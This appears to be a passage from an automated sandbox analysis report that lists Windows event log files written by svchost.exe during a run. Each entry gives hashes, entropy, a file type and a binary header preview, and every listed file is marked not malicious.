File Type:	data
Category:	dropped
Size (bytes):	114256
Entropy (8bit):	4.286852287662972
Encrypted:	false
SSDEEP:	384:zV1VbVrVmViVQhpVAVqVjVWVscVcVtVrV51VgVTV/VZVXKVNVjVyVlF/vVIVtVQg:eb8xf4BsuMgkAu4HtWb8xf4BsuMgkSg
MD5:	824AA036B8D3A5BAF9EA9CC09834DB43
SHA1:	AE5A5B0FDFBBF93770D90AFF9CD1E0D9FF9BD227
SHA-256:	122EF898253E610CB1EF2CDCE5DE8F56605A3359B95E763BAECE623066F82242
SHA-512:	C0E9170D2A51EA8B421EAEEED81BC9C367404CD784FA6093EEC86760C9D226EEAADCE9E773A61C2179863EE1DF31341AF484562A65553F9B02760B8BF4A919EA
Malicious:	false
Preview:	ElfChnk.........A...............A...................."......................................................................)..................8.......................`...=...........................................................................................................................f...............?...........................m...................M...F....................................................'..............&.......................................................................%............<.........y7a...........E!&...............................................................@.......X..._.!.....E..........@..y7a......`...9..`...........<....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........L...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.A.l.a.r.m.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.....t._.2..........=......./Lz7a...........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67008
Entropy (8bit):	4.403044813023599
Encrypted:	false
SSDEEP:	384:OmWmUhImkmAymRvmVkcmhTiYmBmgmUmWmBmbm4my7mcEZmZmtmZ4mRmKmdm5mqmH:kxkrTiZz+9hZ/07TSPnSKn
MD5:	966D50E70BEBD58019FAFEA5B2E0914E
SHA1:	0361B64837AB18ED25992C318B9C9AAF372D1240
SHA-256:	24DA15A3502B41AD670C9023D4700853CB78EB432E3C108878905D008CB6EF3C
SHA-512:	B5BA5B66A035A7EA5F5AAD6D5D778A929A59D5D5FA102F0B08BA5F275A8A18E4DAA8B5F3DDC3ADF05EAA85F804EFDBB9341FDCA77C9171ADCF3B09B5BA2E9B56
Malicious:	false
Preview:	ElfChnk.....................................0........O#.......................................................................X................b...........................=...........................................................................................................................f...............?...........................m...................M...F................................i...&...,...........................7..................................;...c#..{1..k:...................v..........................p............E!&...............................................................N.......d..._.!.....[..........@..p.......`...'...`................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t.-.S.e.r.v.e.r.9.G?...J...]..-CM.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t.S.e.r.v.e.r./.O.p.e.r.a.t.i.o.n.a.l...e$W..R......................(.....................s.v.c.h.o.s.t...e.x.e.,.S.t.o.r.S.v.c.......r.v..........

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 4, DIRTY
Category:	dropped
Size (bytes):	70680
Entropy (8bit):	0.7903575080200846
Encrypted:	false
SSDEEP:	192:P5V7pp8nMLEvUp8nDp8n+p8n/V7pp8nMLEvUp8nDp8n+p8n:P5hpiMLE8iDi+i/hpiMLE8iDi+i
MD5:	0F7251888C86C1377D28856339658EFE
SHA1:	C320B9AE7D8A914EAAE7E5ADA5904E3BA82F6D4E
SHA-256:	64DEA24E988DAC8B66B4C6E0EC5247DB90519D6376AE38C3EA7F5FE3A0317EB2
SHA-512:	B63C22AC91A23861BD827A29FFC63B6FD6E51244A29EBB731AFC1B60F9DF10C520D5F6F73445888C26D171CB61A6343B0007FACE22CE739FF5B3A73EE06133E8
Malicious:	false
Preview:	ElfFile.........................................................................................................................ElfChnk.....................................P.........&E....................................................................RY#.............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.248110473220085
Encrypted:	false
SSDEEP:	1536:YbBN2A4VD7VAx8whAGU2woJQghYAxgRzAlUnF9:
MD5:	87681F2AD6FCB19982924DCE6A2D7A27
SHA1:	6C4D49C5504D6DE6E63B44753C607B3362B79B57
SHA-256:	1CA289F8F7FD7DD1D67EDA5691EF4B083120E456204CC8F6923AFCCD700183BC
SHA-512:	8F1309E5DD7B017945ABF5EB7E869AA1C04A27C37DB7C3A735A2CB31D815B67643D37DAD93FB89FFF2B6BC213EAE1E55201075DAEAFA39A6B1656A214990DEBA
Malicious:	false
Preview:	ElfChnk.........]...............]...............0...........................................................................>...............................................=...................................................................................%.......................................X...............?...............................................M...F.......................................................................................>...........................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.625347651139654
Encrypted:	false
SSDEEP:	1536:+XY5nVYIyyqED5BVZUevOBtNPhPVwCRPvf:+XY5nVYIyyqED5BVZUevOBtNPhPVwChf
MD5:	890CA9963C766DA05E491710E1CD9D7F
SHA1:	3F95AB4363D5DB533E60748F69A364196BAC8920
SHA-256:	47523E0AC40BC366CD0A86BE9A72ECEF3A72EE7D430B25A61D8DF55341C19531
SHA-512:	C2D739AE5ABF76C627DA8B863CC73FF31F7C7733138DB2954A3102377FD0270F69FE269EEAE0DE4172E53E194C3B71791CD09B36F880DC726665004FD9C6A07F
Malicious:	false
Preview:	ElfChnk.........................................`....:..........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......v.......................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	93888
Entropy (8bit):	2.1543940208133274
Encrypted:	false
SSDEEP:	384:afoEK+oy6hdo69CcoTorNorWorbvorTorZorQorNor7orqorlGhorBort6ohorRg:lDCRMDCRoBI
MD5:	E5292F0D91E3AD9B0F116E3C83A17698
SHA1:	D77FB65F6AD273A241117E842643E1F4417EB371
SHA-256:	DBB09D596B8329C1BF123755024DC16D4E2B2B197327A5DF2FF99C93E6231BAE
SHA-512:	6FA98EF05315A8DCC122232E81EF5A62464E1ADF55AD673C7FEBF683CADC64E475DE3205A5DF46186A188D7BECEB382E8A2AC7049EB67B25DDE0DEC7282F82B3
Malicious:	false
Preview:	ElfChnk......................................+...-....&#......................................................................Z.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................................................................])..............................**................gm............E!................................................................>.......V...X.!..e................gm.......`...a..`....... ........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...!>.])......!>....[.U.....i...........\|...:....A..3...b...%....=.......F.i.l.e.N.a.m.e.L.e.n.g.t.h.......A..3...b...%....=.......F.i.l.e.N

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 8448-1024, spot sensor temperature 0.000000, unit celsius, color scheme 1, calibration: offset 0.000000, slope 207715216474546355539665747968.000000
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8526226240352849
Encrypted:	false
SSDEEP:	384:YhAiPA5PNPxPEPHPhPEPmPSPRP3PoPqP7DPfPqP/P:Y2NP
MD5:	585F5E645713292DF375B49B2BDC28EA
SHA1:	42531DC7FEDA50E16705A1260EC70B5AD7015FCB
SHA-256:	E16C3A02C9E22074AE98621BB170E12D41A54187FCC6D53B5600F5712F37A9FF
SHA-512:	0C0008188EC621D5FE00CF9211729347A941AF2DE55DA3333114D83B4D181FB8792C64FA0F62309660F51FF26349684D35EAC0A4E0FE98898D1C03CAAB65B434
Malicious:	false
Preview:	ElfChnk......................................%...&...A..................................................................... p..................N...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................................................................................'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8442469423268683
Encrypted:	false
SSDEEP:	384:DhZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+lk:DWXSYieD+tvgzmMvB2R387
MD5:	A12D2A18D158FA0E4EBA801B76795EAC
SHA1:	22C6C36D8E0ACD32735F5C0D25929CD734A2DB9F
SHA-256:	4A2A9FFE44AB14DE2504B3632FBDDC8EC4E3B35AFF6C5CCA75AB5095E164E39E
SHA-512:	729117B98F2FA8D18DD3A9B0A373EA5CD36A9B88BA54A45579DE0C50C68DABAB50096CC3078DDA1C11A7483D95CD6B39A54AF35282B1C2550F0AAE4A80F8BEA9
Malicious:	false
Preview:	ElfChnk......................................$...&.....i....................................................................x..(................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................&...............................................................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	106664
Entropy (8bit):	3.839330675778791
Encrypted:	false
SSDEEP:	384:ONhShqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqk:OWbCyhLfI931dWbCyhLfI931dS
MD5:	4F1D27F2D8E307F851E32537D0332FC9
SHA1:	342B9959D581152295FF17FC1701538BC85296A9
SHA-256:	DB1C54697337BA1D3E73E6ADC88C78186619FD2A7AE03DD63DD1F3CCB3975F9D
SHA-512:	00FFACFCC7D6AC11775274843427AA8B7A4AF2CC74328AFEF84C51E81260D9989C04FCA16C590B24A6A7C964FA6D03C07E827AFDE138C0C1D3C018EF5826FE8D
Malicious:	false
Preview:	ElfChnk.........N...............N....................f......................................................................W...................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................n.......6t..............................................................................**......N.......k.nk............E!6t..............................................................<.......T.....!.................k.nk.......`...Z..`...x.......N....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.r.y.p.t.o.-.D.P.A.P.I.@.....NF.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.r.y.p.t.o.-.D.P.A.P.I./.O.p.e.r.a.t.i.o.n.a.l....0.............`....0.....J.o0..;..C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.M.i.c.r.o.s.o.f.t.\.P.r.o.t.e.c.t.\.S.-.1.-.5.-.1.8.\..............

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66528
Entropy (8bit):	3.4133176467502055
Encrypted:	false
SSDEEP:	768:/4cMhFBuyKskZljdoKXjtT/r18rQXn8uwgSj70FTP1:/tMhFBuV80r
MD5:	38E8082F2CC552B66263BEDC525A24C2
SHA1:	E533467CEEFE758FAEA3CE8D131EFFFF4DFF692A
SHA-256:	AD8DCED9309E2F498D2240DE664A7ECBE05BAE55777554F6A4E8FF1992F61825
SHA-512:	B3BAD450CBC08737ABF4A2FFC24CCC00D2B539C26A5D61918C078D2D7B1295E1244F24183EAEEA399D863BF05235C67F46D16BC9585684070648703219B5C8B8
Malicious:	false
Preview:	ElfChnk.........P...............P...............h...%.......................................................................>.5.................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............m...........................5A..........................................**......P.........x............E!................................................................>.......V...y.!...................x....~..-4..A.e3.L...x.......P....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.r.y.p.t.o.-.N.C.r.y.p.t........E..3...pM.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.r.y.p.t.o.-.N.C.r.y.p.t./.O.p.e.r.a.t.i.o.n.a.l....M.........F...........M.i.c.r.o.s.o.f.t. .P.l.a.t.f.o.r.m. .C.r.y.p.t.o. .P.r.o.v.i.d.e.r...0...l.s.a.s.s...e.x.e................ElfChnk.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.900320443969457
Encrypted:	false
SSDEEP:	768:/tvigwV4kvAzBCBao/F6Cf2SEqEhwaK41HZalMIq9Iz6IOTLGfFXN/E:FzH+dqWzrhFXN/E
MD5:	628E6FD6542F9330AA4922256F7F8CA3
SHA1:	16DF4B2D6201E9E8A8CBFDB64CADE2C5E91C6491
SHA-256:	B63F81272D5118AD62FAE5E4A2BAC1F9982EE927C93C7D90811B748D5C87781A
SHA-512:	CC023AEA9F4BB02B8BCC5C6DC3C2ABDEEEA487AD47475A1B5C13F854BB4B50E6001AEB07A10D8035CF8DBA0FD848F91B4DB4F82F2462A0E9559D033F80C87C09
Malicious:	false
Preview:	ElfChnk.w...............w............................Q.1....................................................................YW3.................4.......................\...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**..H...w...........`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 27, DIRTY
Category:	dropped
Size (bytes):	93416
Entropy (8bit):	2.772302898242841
Encrypted:	false
SSDEEP:	384:2rh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkz3:oMAP1Qa5AgfQQhCUMAP1Qa5AgfQQhC
MD5:	2CB054BF7C8FC97367BFA78469ABAB31
SHA1:	312FEA2127B96A9077BB3D864C00550F045F69A9
SHA-256:	0B20CD6B6BF6095B4BD064A9364A45AE90F1511103B09F13DEE7B05C8E2A342B
SHA-512:	8B7DDAA8C21FC9AB7F55E5FBD42E101271059A68BBAA026A6B649E0C9C080D1701518D2F301B631C20DEA1108F8421211D74A685CA62E2AD5A1DE21B3CB921E8
Malicious:	false
Preview:	ElfFile.....................................................................................................................\|.~2ElfChnk.....................................hi..hl...M.......................................................................KQ................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........Y...............................&..............;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.441475404183629
Encrypted:	false
SSDEEP:	768:ZbM5eahvB94LSAoiMTQMrj+/IVvu4mJY0YCOO:dMAaZBLzn6fYZO
MD5:	B7F318BB9FA336235CCBE5A391775D8E
SHA1:	F7F7CFF57A6BB00B4E6F17E39BAAF2443E08878D
SHA-256:	D59515423F15D3618746447E1333945BF1432B9B4C20B54849050CE17C72311D
SHA-512:	1C8FA8FD31BC4A3C6815A473C00187497E7E71CAF1FAD61F5A6D73DBEB6AE9D551A3DAA6B39B76A4D1401A061844036D5D06469A3942BC030B276D4E186C7289
Malicious:	false
Preview:	ElfChnk.r...............r...................0.......A..@....................................................................k...................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F....................+...............)......55......................&.......E....@......M#..............u7.......1.........../...........!..]>......**......r.......R...`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 8448-4108, spot sensor temperature 0.000000, unit celsius, color scheme 1, show spot sensor, calibration: offset 0.000000, slope 308596736.000000
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4699263306571524
Encrypted:	false
SSDEEP:	384:6hYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3Klq:61T4hu7OJscMmza
MD5:	86173450A7EE15BC5B6A2C667DD3B040
SHA1:	200635B7FB3137AB9A33A6551182F4BA05BDCE84
SHA-256:	AEDE5AAE515D2A3C78BA23C631D178DCCB3E775CD3B4FB6F0406887FAEDE5B88
SHA-512:	3A73438F1A7B3B2F166B2B2F70E713F7393A2F2D5DF23858D05F2790BD2DF5B2CDC38263EC72ECC34621C82C44308E3C0474E295C678642E30146CAC27D69067
Malicious:	false
Preview:	ElfChnk.........s...............s..............x....,........................................................................5.................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.450965793914843
Encrypted:	false
SSDEEP:	384:phFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjDfO:pzSKEqsMuy6CL3
MD5:	3914FD52494E203A25B69F9F4221031F
SHA1:	8046E0D1C78A47632A4550AC66FC9917E6429457
SHA-256:	D2D37391EC1325C6C27486311C5B5E1D11C55D0A464270F009E3D3E1B2A54D3B
SHA-512:	12FB89D2F9A5B19C7150D23A09A7C7B3F5616C09C8A83AE83A331263F0FA45181066F1A44080A46FE3A9F551BDF56485BD03DB9001FE82388DCDB1EF3FBC7829
Malicious:	false
Preview:	ElfChnk.........L...............L...................=....................................................................... ..H................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&........................................`..............................................................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1568075545974956
Encrypted:	false
SSDEEP:	384:ZhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zg:Zmw9g3LCjg
MD5:	F3CF496665845DA6C957242770973ECE
SHA1:	BF7206ECD6C6ABE687BE10A157C86C7EBE59C6BD
SHA-256:	BB190FF3FA391F3B69F3E4509B14D6DE320C980D69A59BC74DBD57BD8AA42F7F
SHA-512:	EA5A2D21353556B5B6FC420671E5F7026B6A280C7CD740CD1CAFA2C958318B5BB6A5F4AE6A00450E2A7997425A0AAAFFD158452401ABB732CA985A8DE3548213
Malicious:	false
Preview:	ElfChnk.........6...............6...........(o...p..........................................................................y.................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n........X..............................................................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.8853799397148268
Encrypted:	false
SSDEEP:	384:5hCI2LwuSsYI8tIbLIYoI/IE6IQsIhIxIUIfIXIAI2I/IRIvI:5Z
MD5:	FACBCFA717058EFCED1754221D6A421D
SHA1:	1BA10B3E2BB8A2C739257CE228789E2D6C4F1A1D
SHA-256:	6F6A7779828D79A41F94AF9EE452BB44EE0E495D27A5B5DE7DAD659A6865C9CB
SHA-512:	0253FDCC88D3E52A9A26A065AC0C4E264DC0E84CB6A175D09BEC79E56D5282B9B95DCE2FEF47C48505D34C629388904AA6E2BDFF81759920FE314D6F9F5A6DB0
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...............@6..u..B.....................................................................w..................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**......K.......1E..`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 14 chunks (no. 13 in use), next record no. 372, DIRTY
Category:	dropped
Size (bytes):	62624
Entropy (8bit):	5.680704859148489
Encrypted:	false
SSDEEP:	384:N2ehna5gzuzNz0zxzuewKWMK/a5kWcra5Ae0a5c9IzIzyzkma5Opa5GPia5L9Xzr:MeHcW+EzJxFNPrMFZEoGJC3Ep9d
MD5:	4BAB79FF67BBE6303D9A7F4FEDFBD297
SHA1:	3E9498B5730704BE01D9AB24BE63ED3D978345D5
SHA-256:	261C77C86D2B54606F7B0CC9F4147D3A3D7CB3540E2C67444297DEB7373E2687
SHA-512:	507A6F72DC4563C613841C14ED4B91CE15EC4521109DFE51CE6E76A811BF7DFC44B0DB264BE21CE75204BDF79B4EDB17D69B0EFB8E9FC49086208EC47218686B
Malicious:	false
Preview:	ElfFile.................t...................................................................................................S{f.ElfChnk.r.......y.......r.......y............8..x>...Q.6....................................................................m...........................................@...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&................................-..............................................**......r..........`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0596696487276978
Encrypted:	false
SSDEEP:	384:Qh1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMpHMXmM+ZM6Zz:QeJ+
MD5:	F6D375E51341AC949A73803CF00B96E6
SHA1:	5DB3BF9A34145DD777EA9593DE3C8054B08A11D1
SHA-256:	EBDFA834049A08F8FC9B3DD35800233E75BDB480D59E548D7F4F3F2720B889F9
SHA-512:	1714A4243ECEB63E23583F31D3D6C161D8423E1AD2D1E1440545718E6DA879F74C2F03E5C21120ED826093777F6DEEEFEC57B913E1B4C1D74C0B8A473752460B
Malicious:	false
